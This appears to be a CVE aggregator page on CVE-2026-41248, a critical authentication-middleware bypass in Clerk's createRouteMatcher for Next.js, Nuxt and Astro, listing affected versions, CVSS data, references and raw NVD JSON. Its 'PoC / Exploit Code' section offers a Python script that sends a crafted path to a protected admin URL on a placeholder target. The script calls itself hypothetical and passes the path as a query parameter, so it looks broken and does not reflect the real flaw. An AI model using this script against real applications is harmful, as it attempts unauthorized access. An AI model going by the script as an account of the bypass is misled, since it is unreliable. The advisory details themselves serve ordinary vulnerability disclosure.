CVE-2026-41248

Description

Clerk JavaScript is the official JavaScript repository for Clerk authentication. createRouteMatcher in @clerk/nextjs, @clerk/nuxt, and @clerk/astro can be bypassed by certain crafted requests, allowing them to skip middleware gating and reach downstream handlers. This vulnerability is fixed in @clerk/astro 1.5.7, 2.17.10, and 3.0.15; @clerk/nextjs 5.7.6, 6.39.2, and 7.2.1; @clerk/nuxt 1.13.28 and 2.2.2; and @clerk/shared 2.22.1, 3.47.4, anc 4.8.1

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

@clerk/astro < 1.5.7

@clerk/astro >= 2.0.0, < 2.17.10

@clerk/astro >= 3.0.0, < 3.0.15

@clerk/nextjs < 5.7.6

@clerk/nextjs >= 6.0.0, < 6.39.2

@clerk/nextjs >= 7.0.0, < 7.2.1

@clerk/nuxt < 1.13.28

@clerk/nuxt >= 2.0.0, < 2.2.2

@clerk/shared < 2.22.1

@clerk/shared >= 3.0.0, < 3.47.4

@clerk/shared >= 4.0.0, < 4.8.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Proof of Concept for CVE-2026-41248
# This script demonstrates how a crafted request might bypass middleware
# Note: The specific bypass pattern depends on the exact logic flaw in createRouteMatcher

target_url = "http://target-app.com/protected/admin/dashboard"

# Attempting bypass with a crafted path (hypothetical example)
bypass_payload = {
    "path": "/protected/./admin/dashboard" # Path traversal or confusion technique
}

response = requests.get(target_url, params=bypass_payload)

if response.status_code == 200 and "admin" in response.text:
    print("[+] Potential Bypass Successful! Protected content accessed.")
else:
    print("[-] Bypass failed or patched.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41248
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41248
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41248/
[4] VulDB https://vuldb.com/cve/CVE-2026-41248
[5] https://github.com/clerk/javascript/security/advisories/GHSA-vqx2-fgx2-5wq9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41248", "sourceIdentifier": "[email protected]", "published": "2026-04-24T21:16:18.497", "lastModified": "2026-04-29T20:56:50.103", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Clerk JavaScript is the official JavaScript repository for Clerk authentication. createRouteMatcher in @clerk/nextjs, @clerk/nuxt, and @clerk/astro can be bypassed by certain crafted requests, allowing them to skip middleware gating and reach downstream handlers. This vulnerability is fixed in @clerk/astro 1.5.7, 2.17.10, and 3.0.15; @clerk/nextjs 5.7.6, 6.39.2, and 7.2.1; @clerk/nuxt 1.13.28 and 2.2.2; and @clerk/shared 2.22.1, 3.47.4, anc 4.8.1"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-436"}, {"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/clerk/javascript/security/advisories/GHSA-vqx2-fgx2-5wq9", "source": "[email protected]"}]}}